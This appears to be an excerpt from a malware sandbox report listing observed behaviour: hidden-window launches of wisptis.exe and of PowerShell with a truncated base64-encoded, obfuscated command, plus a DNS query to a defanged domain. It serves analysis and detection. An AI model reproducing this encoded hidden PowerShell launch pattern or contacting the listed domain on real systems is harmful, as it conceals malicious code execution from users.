Technical Information
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e IwAjAHkAcgBmAGwAYgBzAAoAJABzAHoAYQBxAGkAdgB0ACAAPQAgACIAVwBhAG4AYQB3AEYAZQBWAEgAWAAiADsACgAkAGwAcABqAHEAdABsAHoAPQAiAGsAaQB2AHoAcQAiADsACgAkAGMAcABmAHAAeQB4AG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAH...
- DNS ASK li##tsno.at
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e IwAjAHkAcgBmAGwAYgBzAAoAJABzAHoAYQBxAGkAdgB0ACAAPQAgACIAVwBhAG4AYQB3AEYAZQBWAEgAWAAiADsACgAkAGwAcABqAHEAdABsAHoAPQAiAGsAaQB2AHoAcQAiADsACgAkAGMAcABmAHAAeQB4AG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAH...' (with hidden window)